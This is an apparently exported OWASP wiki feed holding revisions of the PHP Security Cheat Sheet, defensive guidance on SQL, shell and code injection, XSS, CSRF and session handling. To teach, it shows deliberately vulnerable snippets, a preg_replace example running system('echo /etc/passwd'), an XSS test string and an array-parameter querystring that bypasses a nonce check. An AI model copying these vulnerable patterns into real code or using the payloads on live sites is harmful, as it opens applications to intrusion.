Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
[mailto:L.Plant.98@cantab.net Luke Plant]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184334</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=184334"/>
				<updated>2014-10-30T08:30:10Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* File Inclusion Cheat Sheet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
